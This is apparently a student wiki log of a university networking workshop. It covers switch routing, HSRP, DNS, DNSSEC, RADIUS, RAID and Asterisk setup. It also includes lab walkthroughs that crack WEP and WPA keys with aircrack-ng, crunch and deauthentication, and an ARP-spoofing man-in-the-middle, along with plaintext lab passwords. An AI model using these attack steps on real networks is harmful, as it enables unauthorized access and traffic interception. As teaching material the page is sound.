Voir la source de G1 : Advanced Networking Protocol Workshop

__TOC__

The main aim of this workshop is to realize a redundant network infrastructure to ensure maximum availability in case of a device or path failure. The architecture of the network is shown in the diagram given below. 
[[Fichier:Network architecture.PNG |center| 750px]]


== Scope statement for the specific task ==
=== Task overview ===
We were assigned to configure one of the L3 switches to enable routing protocol(for <code>IPv4</code> and <code>IPv6</code>) and also to ensure layer 3 redundancy with <abbr title="Hot Standby Router Protocol">HSRP</abbr>. 
=== Materials used for the specific task ===
*Layer-3 Switch : Cisco Catalyst 3560-E
*PC with serial connection

== Workshop progress ==
=== Week 1 (28/09/2015) ===
During this week, we colloborated with group 2 (Sandra & Elise) to create a list of VLANs and attribute IP address to each of them. 
==== VLAN ====
Then, we configured the router to create the vlan database (vlan 11 - vlan 20).
{| width=10% 
|<pre>
vlan 11
name vlan11
exit
</pre>
|}

==== 802.1Q encapsulation ====
To enable inter-VLAN communication, we had to configure a port (which is connected to switch) in trunk mode and enable encapsulation using the following commands :
{| width=10% 
|<pre>
interface Gi1/1/2
switchport trunk encapsulation
switchport mode trunk
switchport trunk allowed vlan 1,11-20,110,130
</pre>
|}

==== HSRP (ipv4 + ipv6)====
To enable routing in the L3 switch:
{| width=10% 
|<pre>
ip routing
ipv6 unicast-routing
</pre>
|}

Configuration of HSRP for ipv4 (for L3 redundancy) :
{| width=10% 
|<pre>
interface vlan 11
ip address 172.20.11.253 255.255.255.0
standby version 2
standby 1 priority 100
standby 1 preempt
standby 1 timers 5 15
standby 1 ip 172.20.11.254
</pre>
|}

Configuration of HSRP for ipv6 :
{| width=10% 
|<pre>
int vlan11
 ipv6 enable
 ipv6 address 2001:660:4401:60B1::/64 eui-64
 ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900
 ipv6 nd router-preference high
 standby 101 ipv6 autoconfig
 standby 101 priority 100
 standby 101 preempt
 standby 101 timers 5 15
</pre>
|}

==== OSPF ====
To receive and share the ipv4 routing table with the adjacent routers, we configured the OSPF protocole. 
{| width=10% 
|<pre>
router ospf 1
 router-id 192.168.222.2
 summary-address 172.20.0.0 255.255.0.0
 summary-address 193.48.57.160 255.255.255.240
 network 192.168.222.0 0.0.0.7 area 1
</pre>
|}

==== RIP-ng ====
On the other hand, we also configured RIP-ng so that the ipv6 routing table could be shared with adjacent routers.
{| width=10% 
|<pre>
ipv6 router rip tpima5sc
 redistribute connected metric 1
 redistribute rip 1 metric 1
 redistribute static metric 1
</pre>
|}

{| width=10% 
|<pre>
int vlan130
 ipv6 rip tpima5sc enable
</pre>
|}


conf files :
*[[Media:Conf_ospf_hsrp_ipv4.txt | Conf_ospf_hsrp_ipv4.txt]]
*[[Media:Conf_hsrp_ipv6.txt | Conf_hsrp_ipv6.txt]]

=== Week 2 (05/10/2015) ===
To create a Xen VM, we started with connecting to the cordouan machine (using ssh):
{| width=10% 
|<pre>
ssh root@cordouan.insecserv.deule.net
</pre>
|}

Configuration of XEN VM
{| width=10% 
|<pre>
xen-create-image --hostname=WESTMALLE --ip=193.48.57.161 --netmask=255.255.255.240 --gateway=193.48.57.174 \
--nameserver=193.48.57.48 --dir=/usr/local/xen --genpass=0 --password=pasglop --dist=stable
</pre>
|}

To start the VM:
{| width=10% 
|<pre>
xl create /etc/xen/WESTMALLE.cfg
</pre>
|}

We modified the size of the memory and network connection (bridge networking) for the VM :[[Fichier:WESTMALLEcfg.txt]]<br>

To connect to Xen VM using console mode, we used the command:
{| width=10% 
|<pre>
xl console WESTMALLE
</pre>
|}

=== Week 3 (12/10/2015) ===
This week we started with installing few important packages in the Xen virtual server such as <code>apache2</code>, <code>fail2ban</code>, <code>bind9</code>, <code>dnsutils</code> and <code>openssh-server</code>. To secure the ssh server, we changed the configuration line (as shown below) of the file /etc/ssh/sshd_config:
{| width=10% 
|<pre>
Port 619
PermitRootLogin no-password
</pre>
|}

To enable root login, we had to generate an asymmetric key (private and public) where the public key will be stored in the server while the user who wishes to connect to the server must have the private key. To generate the asymmetric key, we used the command:
{| width=10% 
|<pre>
ssh-keygen -b 2048
</pre>
|}

Then, the public key had to be stored in a file called authorized_keys2 (for <code>SSHv2</code>).

After that, we continued to configure the DNS server. First of all, we bought a domain name from one of the domain name registrars, [https://www.gandi.net Gandi]. Since we wanted to host our own DNS server, we pointed the primary DNS field to our computer (ns1.troisiemesexe.lol). The secondary DNS field was filled with Gandi’s secondary <abbr title="Name Server">NS</abbr>  server. It was time we configured our own DNS server.

/etc/hosts:
{| width=10% 
|<pre>
127.0.0.1       localhost
193.48.57.161   westmalle.troisiemesexe.lol  westmalle
193.48.57.161   ns1.troisiemesexe.lol        ns1
</pre>
|}

/etc/host.conf:
{| width=10% 
|<pre>
order hosts, bind
multi on
</pre>
|}

/etc/resolv.conf:
{| width=10% 
|<pre>
domain troisiemesexe.lol
search troisiemesexe.lol
nameserver 127.0.0.1
nameserver 193.48.57.48
</pre>
|}

/etc/bind/db.troisiemesexe.lol:
{| width=10% 
|<pre>
$TTL            604800
@       IN      SOA     ns1.troisiemesexe.lol. admin.troisiemesexe.lol. (
                         2015101705     ; Serial
                         900            ; Refresh
                         28800          ; Retry
                         604800         ; Expire
                         86400 )        ; Minimum

@               IN      A       193.48.57.161
;@              IN      AAAA    ::1

@               IN      NS      ns1.troisiemesexe.lol.
@               IN      NS      ns6.gandi.net.

ns1             IN      A       193.48.57.161
;ns1            IN      AAAA    :::1

westmalle       IN      A       193.48.57.161
arch            IN      A       193.48.57.174   ;arch -> router
www             IN      A       193.48.57.161
</pre>
|}

/etc/bind/named.conf.local:
{| width=10% 
|<pre>
zone "troisiemesexe.lol" IN {
        type master;
        file "/etc/bind/db.troisiemesexe.lol";
        allow-transfer {217.70.177.40;};
        allow-query {any;};
        notify yes;
};
</pre>
|}

And then, we configured the apache <code>VirtualHosts</code>. If the server receives an <code>HTTP</code> request on port 80, it will rewrite the URL to <code>HTTPS</code> on port 443.

/etc/apache2/sites-available/troisiemesexe.lol.conf:
{| width=10% 
|<pre>
<VirtualHost *:80>
        ServerName   troisiemesexe.lol
        ServerAlias  www.troisiemesexe.lol      *.troisiemesexe.lol
        ServerAdmin  root@troisiemesexe.lol
        DocumentRoot /var/www/troisiemesexe.lol

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log  combined

        RewriteEngine on
        ReWriteCond  %{HTTP_HOST}   !^(westmalle|ns1) [NC]
        ReWriteCond  %{SERVER_PORT} !^443$
        RewriteRule  ^/(.*)         https://%{HTTP_HOST}/$1 [NC,R=301,L]

        RewriteRule  ^(.*)$         https://www.troisiemesexe.lol$1 [R=301,L]
</VirtualHost>

<IfModule mod_ssl.c>
        <VirtualHost *:443>
                ServerName   troisiemesexe.lol
                ServerAlias  www.troisiemesexe.lol
                ServerAdmin  root@troisiemesexe.lol
                DocumentRoot /var/www/troisiemesexe.lol

                ErrorLog ${APACHE_LOG_DIR}/error.log
                CustomLog ${APACHE_LOG_DIR}/access.log combined

                SSLEngine               on
                SSLCertificateFile      /etc/ssl/certs/troisiemesexe.lol.crt
                SSLCertificateKeyFile   /etc/ssl/private/troisiemesexe.lol.key
                SSLCertificateChainFile /etc/ssl/certs/GandiStdSSLCA2.pem
                SSLVerifyClient         None
        </VirtualHost>
</IfModule>

</pre>
|}

To enable the site, we used the command:
{| width=10% 
|<pre>
a2ensite troisiemesexe.lol
</pre>
|}

===Week 4 (22/10/2015)===
Configuration of wireless network in <code>eeePC</code> by editing the the file in <code>/etc/network/interfaces</code>
{| width=10% 
|<pre>
auto wlan0
iface wlan0 inet static
	wireless-essid	troubadour
	wireless-mode   managed
	address		192.168.1.2
	netmask		255.255.255.0
	gateway		192.168.1.1
</pre>
|}

Since a MAC address filter was implemented, we had to change our eeePC's original MAC address to the one found in ACL of the Cisco Access Point as below:
{| width=10% 
|<pre>
ifconfig wlan0 hw ether 00:15:AF:E6:ED:C4
</pre>
|}
===Week 5  (12/11/2015)===
====Cracking the WEP key ====

*We started airmon-ng in wlan0
<pre>
airmon-ng start wlan0
</pre>
*We killed the process that has been using the airmon-ng utility in wlan0:
<pre>
airmon-ng check kill
</pre>
*Then, we analyzed the visible networks in wlan0
<pre>
airodump-ng wlan0mon
</pre>
*Our target is cracotte01. And we'll be storing (all the packets to the destination of 00:23:5E:1E:05:40 ) in the file fromage.cap 
<pre>
airodump-ng --essid cracotte01 --write fromage -c 7 --bssid 00:23:5E:1E:05:40 wlan0mon
</pre>
*While the output was being stored in the file, we opened a new terminal and launched another command to decode those packets and store them in a file called KEY.
<pre>
aircrack-ng -l KEY -s -f 15 fromage-01.cap
</pre>
*Result of the WEP crack:
<pre>
55555555555555555555555551
</pre>

===Week 6  (19/11/2015)===
====Cracking WPA key====
*First of all, we had to generate a dictionary to crack the WPA key. Aircrack-ng isn't capable of generating the dictionary. So, we used <code>crunch</code>, which is an utility used to generate list of keys using a certain pattern. We used crunch to generate list of keys of a minimum (and maximum) length of 8 characters . The result, stored in the file <code>dico.txt</code>, starts at 00000000 and ends at 999999999.
<pre>
crunch 8 8 0123456789 > dico.txt
</pre>
*To sniff the wireless network:
<pre>
airmon-ng start wlan0 
airmon-ng check kill
airodump-ng wlan0mon #on sniffe tous les flux wifi
</pre>
*We were trying to crack the "cracotte01" network:
<pre>
airodump-ng --essid cracotte01 -c 12 --bssid 04:DA:D2:9C:50:50 -w dump wlan0mon
#-c : channel;
#-w : storage file; 
</pre>
*Result:
<pre>
CH 12 ][ Elapsed: 54 s ][ 2015-11-19 11:35 ][ WPA handshake: 04:DA:D2:9C:50:50                                         
                                                                                                                                                                               
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                                               
 04:DA:D2:9C:50:50  -49  11      522       71    0  12  54e. WPA2 CCMP   PSK  cracotte01                                                                                       
                                                                                                                                                                               
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                     
                                                                                                                                                                               
 04:DA:D2:9C:50:50  00:0F:B5:92:22:68  -59   54e- 1e     0       49 

</pre>

*And then, we used aireplay-ng utility to crack the key from the dump file:
<pre>
aireplay-ng --deauth=5 -a 04:DA:D2:9C:50:50 wlan0mon
</pre>
*Result:
<pre>
11:53:17  Waiting for beacon frame (BSSID: 04:DA:D2:9C:50:50) on channel 12
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
11:53:17  Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]
11:53:17  Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]
11:53:18  Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]
11:53:18  Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]
11:53:19  Sending DeAuth to broadcast -- BSSID: [04:DA:D2:9C:50:50]
</pre>


*We used the dico.txt file (which is the dictionary) to decode the dump-01.cap file:  
<pre>
aircrack-ng dump-01.cap -w dico.txt -l KEY
</pre>
Result: <br>
[[Fichier:Aircrack.PNG]]

=== Week 7 (26/11/2015) ===
==== FreeRadius + AP ====
To authenticate via PEAP-TLS, it's important to modify the default_eap_type to peap in the configuration <code>eap.conf</code> file:
{| width=10% 
|<pre>
default_eap_type = peap
</pre>
|}

Then, users' list need to be added for Radius Authentication in the <code>users</code> file:
{| width=10% 
|<pre>
magesh     Cleartext-Password := "h3ll0"
           Reply-Message = "Hello, %{User-Name}"
</pre>
|}

Now we had to add clients (both Access Points at 10.10.10.1 and 10.10.10.2) to the <code>clients.conf</code> file :
{| width=10% 
|<pre>	
client 10.10.10.1 {
   secret     = mys3cr3t
   shortname  = vlan_1_e304
}

client 10.10.10.2 {
   secret     = mys3cr3t2
   shortname  = vlan_1_e306
}
</pre>
|}
At last, it was time we configured both Access Points (10.10.10.1 and 10.10.10.2) to enable SSID diffusion 
and Radius authentication
{| width=10% 
|<pre>
aaa new-model
!
aaa group server radius radius_group_HnM
   server name radius_westmalle
!
aaa authentication login eap_HnM group radius_group_HnM
!
dot11 ssid HnM
vlan 11
   authentication open eap eap_HnM
   authentication network-eap eap_HnM
   authentication key-management wpa
   mbssid guest-mode
!
interface Dot11Radio0
   encryption vlan 11 mode ciphers aes-ccm tkip
   ssid HnM
   mbssid
!
interface Dot11Radio0.11
   encapsulation dot1Q 11
   bridge-group 11
!
interface GigabitEthernet0.11
   encapsulation dot1Q 11
   bridge-group 11
!
radius server radius_westmalle
   address ipv4 193.48.57.161 auth-port 1812 acct-port 1813
   key 7 11081D3313015C0E
!
</pre>
|}

To connect to the Acces Point with eeePC, these changes had to be made to the file <code>/etc/network/interfaces</code> :
{| width=10% 
|<pre>
auto wlan0
iface wlan0
   wpa-ssid HnM
   wpa-key-mgmt WPA-EAP
   wpa-identity magesh
   wpa-password h3ll0
   address 172.20.11.1
   netmask 255.255.255.0
   gateway 172.20.11.254
</pre>
|}

==== RAID5 ====
To enable hard disk redundancy (and fault-tolerance), we configured three logical volumes in the host machine :
{| width=10% 
|<pre>
lvcreate -L 1G -n /dev/virtual/ima5-westmalle-raid5-1
lvcreate -L 1G -n /dev/virtual/ima5-westmalle-raid5-2
lvcreate -L 1G -n /dev/virtual/ima5-westmalle-raid5-3
</pre>
|}

This logical volumes had to be included in the Xen configuration file <code>/etc/xen/WESTMALLE.cfg</code>:
{| width=10% 
|<pre>
disk  = [
            'file:/usr/local/xen/domains/WESTMALLE/disk.img,xvda2,w',
            'file:/usr/local/xen/domains/WESTMALLE/swap.img,xvda1,w',
            'phy:/dev/virtual/ima5-westmalle-raid5-1,xvdb,w',
            'phy:/dev/virtual/ima5-westmalle-raid5-2,xvdc,w',
            'phy:/dev/virtual/ima5-westmalle-raid5-3,xvdd,w',
        ]
</pre>
|}

In the Xen virtual machine, we created RAID-5 volume /dev/md0 :
{| width=10% 
|<pre>
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvd[bcd]
</pre>
|}

But, after a system restart /dev/md0 had been automatically renamed to /dev/md127. Thus, we had to create a ext4 filesystem based on md127 and not md0.
{| width=10%
|<pre>
mkfs.ext4 /dev/md127
</pre>
|}
To make sure the persistence of the mounted volume, we had to modify mdadm configuration file (/etc/mdadm/mdadm.conf) and file systems table.
{| width=10%
|<pre>
mdadm --detail --scan >> /etc/mdadm/mdadm.conf
</pre>
|}
And in <code>/etc/fstab</code> we added the following line :
{| width=10%
|<pre>
# <file system>  <mount point>   <type>   <options>       <dump>  <pass>
   /dev/md127   /media/raid_vol   ext4     defaults          0       0
</pre>
|}

==== DNSSEC ====
TO enable DNSSEC, we modified the named.conf.options file as below :
{| width=10%
|<pre>
dnssec-enable yes;
</pre>
|}
Then, we generated a <abbr title="Key-Signing Key">KSK</abbr> and <abbr title="Zone-Signing Key">ZSK</abbr> file (and renamed them) which will be used to sign our zone.
{| width=10%
|<pre>
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE troisiemesexe.lol
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE troisiemesexe.lol
</pre>
|}

Then, the following lines were added to include the signed key in the DNS zone file <code>/etc/bind/db.troisiemesexe.lol</code> :
{| width=10%
|<pre>
$include /etc/bind/troisiemesexe.lol.dnssec/troisiemesexe.lol-ksk.key
$include /etc/bind/troisiemesexe.lol.dnssec/troisiemesexe.lol-zsk.key
</pre>
|}

And, the zone file was signed using the command :
{| width=10%
|<pre>
dnssec-signzone -o troisiemesexe.lol -k troisiemesexe.lol-ksk ../db.troisiemesexe.lol troisiemesexe.lol-zsk
</pre>
|}
To use the signed zone file instead of the unsigned one, we modified named.conf.local file :
{| width=10%
|<pre>
zone "troisiemesexe.lol" IN {
   ...
   file "/etc/bind/db.troisiemesexe.lol.signed";
   ...
}
</pre>
|}
And then, we copied the ZSK and KSK key file to Gandi's DNSSEC section.

==== Asterisk ====
To reject unidentified calls, sip.conf had to be edited :
{| width=10%
|<pre>
[general]
allowguest=no
alwaysauthreject=yes
contactacl=local_ip_acl
</pre>
|}

The <code>contactacl</code> parameter is used to filter calls from certain IP address. We wanted to limit the calls between the local systems. So we added the ACL to permit only private IP addresses in the <code>/etc/asterisk/acl.conf</code> :
{| width=10%
|<pre>
[local_ip_acl]
   deny=0.0.0.0/0.0.0.0
   permit=10.0.0.0/255.0.0.0
   permit=172.16.0.0/255.240.0.0
   permit=192.168.0.0/255.255.0.0
</pre>
|}

The user configuration file needed some modification so that a SIP connection could be established. For that, we modified the file <code>/etc/asterisk/users.conf</code> and added few extensions (such as 101, 102.. which were attributed for certain username) : 
{| width=10%
|<pre>
[general]
userbase = 100
hasvoicemail = yes
vmsecret = mys3cr3t
hassip = yes
hasiax = yes
hasmanager = no

callwaiting = yes
threewaycalling = yes
callwaitingcallerid = yes
transfer = yes
canpark = yes
cancallforward = yes
callreturn = yes
callgroup = 1
pickupgroup = 1

[template](!)
type=friend
host=dynamic
dtmfmode=rfc2833
context = tpima5

[101]
fullname = Magesh S
defaultuser = magesh
secret = s3cr3t

[102]
fullname = Hideo V
defaultuser = hideo
secret = s3cr3t
</pre>
|}

Configuration of extensions.conf file :
{| width=10%
|<pre>
[tpima5]
exten => _1XX,1,Dial(SIP/${EXTEN},10)
exten => _1XX,2,Hangup()
</pre>
|}
=== Week 8 (30/11/2015) ===
==== MITM ====
*To identify the router's IP address:
<pre>
ip route show
</pre>
Result:
<pre>
default via 172.26.79.254 dev eth0 
</pre>
The route's virtual IP is 172.26.79.254
*To identify the target's IP:
<pre>
#dig zabeth04.insecure.deule.net
</pre>
Result:
<pre>
zabeth04.insecure.private.direct.deule.net. 3600 IN A 172.26.75.157
</pre>
Target's IP address is 172.26.75.157.
*Before sniffing the network, we had to authorize IP forwarding:
<pre>
echo 1 > /proc/sys/net/ipv4/ip_forward
</pre>
*We opened 2 terminals:
First terminal:
<pre>
arpspoof -i eth0 -t  172.26.79.254 172.26.75.157
</pre>
Second terminal:
<pre>
arpspoof -i eth0 -t 172.26.75.157 172.26.79.254
</pre>

==== DHCP for vlan ====
On the other hand, we configured DHCP in the router so that clients (ex: mobile phone) which couldn't be configured with static IP, will be given IP addresses automatically. 
<pre>
ip dhcp excluded-address 172.20.11.1 172.20.11.10

ip dhcp pool dhcp_pool_vlan11
   network 172.20.11.0 255.255.255.0
   default-router 172.20.11.254
   dns-server 193.48.57.48 193.48.57.33
</pre>